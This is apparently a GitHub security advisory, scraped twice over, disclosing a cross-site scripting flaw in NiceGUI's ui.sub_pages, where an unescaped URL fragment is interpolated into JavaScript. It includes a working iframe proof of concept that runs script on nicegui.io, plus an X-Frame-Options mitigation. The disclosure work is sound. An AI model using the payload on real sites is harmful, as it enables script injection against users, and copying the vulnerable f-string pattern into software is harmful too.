Summary
An unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe.
Details
The problem is traced as follows:
- On
pushstate, handleStateEvent is executed.
|
window.addEventListener("popstate", handleStateEvent); |
|
window.addEventListener("pushstate", handleStateEvent); |
handleStateEvent emits sub_pages_open event.
|
function handleStateEvent(event) { |
|
const cleanPath = event.state?.page || getCleanCurrentPath(); |
|
emitEvent("sub_pages_open", cleanPath); |
|
} |
SubPagesRouter (used by ui.sub_pages), lisnening on sub_pages_open, _handle_open runs.
|
class SubPagesRouter: |
|
|
|
def __init__(self, request: Request | None) -> None: |
|
on('sub_pages_open', lambda event: self._handle_open(event.args)) |
|
on('sub_pages_navigate', lambda event: self._handle_navigate(event.args)) |
_handle_open finds any SubPages and runs _show() on them
|
async def _handle_open(self, path: str) -> bool: |
|
self.current_path = path |
|
self.is_initial_request = False |
|
for callback in self._path_changed_handlers: |
|
callback(path) |
|
for child in context.client.layout.descendants(): |
|
if isinstance(child, SubPages): |
|
child._show() # pylint: disable=protected-access |
|
return await self._can_resolve_full_path(context.client) |
- If you follow the if-logic or just add debug prints, you can find out that it calls
self._handle_scrolling(match, behavior='smooth') directly
|
def _show(self) -> None: |
|
"""Display the page matching the current URL path.""" |
|
self._rendered_path = '' |
|
match = self._find_matching_path() |
|
# NOTE: if path and query params are the same, only update fragment without re-rendering |
|
if ( |
|
match is not None and |
|
self._match is not None and |
|
match.path == self._match.path and |
|
not self._required_query_params_changed(match) and |
|
not (self.has_404 and self._match.remaining_path == match.remaining_path) |
|
): |
|
# NOTE: Even though our matched path is the same, the remaining path might still require us to handle 404 (if we are the last sub pages element) |
|
if match.remaining_path and not any(isinstance(el, SubPages) for el in self.descendants()): |
|
self._set_match(None) |
|
else: |
|
self._handle_scrolling(match, behavior='smooth') |
|
self._set_match(match) |
|
else: |
|
self._cancel_active_tasks() |
|
with self.clear(): |
|
if match is not None and self._render_page(match): |
|
self._set_match(match) |
|
else: |
|
self._set_match(None) |
- CULPRIT
_handle_scrolling runs _scroll_to_fragment as there is a fragment, which runs vulnerable JS if the fragment (attacker-controlled) escapes out of the quotes.
|
def _handle_scrolling(self, match: RouteMatch, *, behavior: str) -> None: |
|
if match.fragment: |
|
self._scroll_to_fragment(match.fragment, behavior=behavior) |
|
elif not self._router.is_initial_request: # NOTE: the initial path has no fragment; to not interfere with later fragment scrolling, we skip scrolling to top |
|
self._scroll_to_top(behavior=behavior) |
|
|
|
def _scroll_to_fragment(self, fragment: str, *, behavior: str) -> None: |
|
run_javascript(f''' |
|
requestAnimationFrame(() => {{ |
|
document.querySelector('#{fragment}, a[name="{fragment}"]')?.scrollIntoView({{ behavior: "{behavior}" }}); |
|
}}); |
|
''') |
PoC
Just visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain.
<html>
<body>
<iframe id="myiframe" src="https://nicegui.io" width="100%" height="600px" onload="triggerXSS()"></iframe>
<script>
function triggerXSS() {
if (!myiframe.src.includes("#")) {
myiframe.src = "https://nicegui.io#x');alert(document.domain)//";
}
}
</script>
</body>
</html>
Impact
Any page which uses ui.sub_pages and does not actively prevent itself from being put in an iframe is affected.
The impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying app via FastAPI methods, and that ui.sub_pages is actively promoted as the new modern way to create Single-Page Applications (SPA).
Patch
- Not use
ui.sub_pages
- Block iframe with the following code
@app.middleware('http')
async def iframe_blocking_middleware(request, call_next):
response = await call_next(request)
response.headers['X-Frame-Options'] = 'DENY'
return response
Appendix
AI is used safely to judge the CVSS scoring (input is censored).
Please find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma
Scoring update after manual review
The scoring done by AI was quite biased. Upon further review it is less dramatic.
- User Interaction None: There's almost no interaction required, and none of the interaction is with the vulnerable system.
- Confidentiality & Integrity Low: The extent of data confidentiality & integrity loss is bounded by the highest priviledged user in the entire NiceGUI application. There does not exist a means of performing data manipulating tasks that said admin cannot already do.
- Availability None: No DDoS is possible with this. Site remains performant as ever.
Summary
An unsafe implementation in the
pushstateevent listener used byui.sub_pagesallows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe.Details
The problem is traced as follows:
pushstate,handleStateEventis executed.nicegui/nicegui/elements/sub_pages.js
Lines 38 to 39 in 59fa942
handleStateEventemitssub_pages_openevent.nicegui/nicegui/elements/sub_pages.js
Lines 22 to 25 in 59fa942
SubPagesRouter(used byui.sub_pages), lisnening onsub_pages_open,_handle_openruns.nicegui/nicegui/sub_pages_router.py
Lines 18 to 22 in 59fa942
_handle_openfinds anySubPagesand runs_show()on themnicegui/nicegui/sub_pages_router.py
Lines 63 to 71 in 59fa942
self._handle_scrolling(match, behavior='smooth')directlynicegui/nicegui/elements/sub_pages.py
Lines 76 to 100 in 59fa942
_handle_scrollingruns_scroll_to_fragmentas there is a fragment, which runs vulnerable JS if thefragment(attacker-controlled) escapes out of the quotes.nicegui/nicegui/elements/sub_pages.py
Lines 206 to 217 in 59fa942
PoC
Just visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain.
Impact
Any page which uses
ui.sub_pagesand does not actively prevent itself from being put in an iframe is affected.The impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying
appvia FastAPI methods, and thatui.sub_pagesis actively promoted as the new modern way to create Single-Page Applications (SPA).Patch
ui.sub_pagesAppendix
AI is used safely to judge the CVSS scoring (input is censored).
Please find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma
Scoring update after manual review
The scoring done by AI was quite biased. Upon further review it is less dramatic.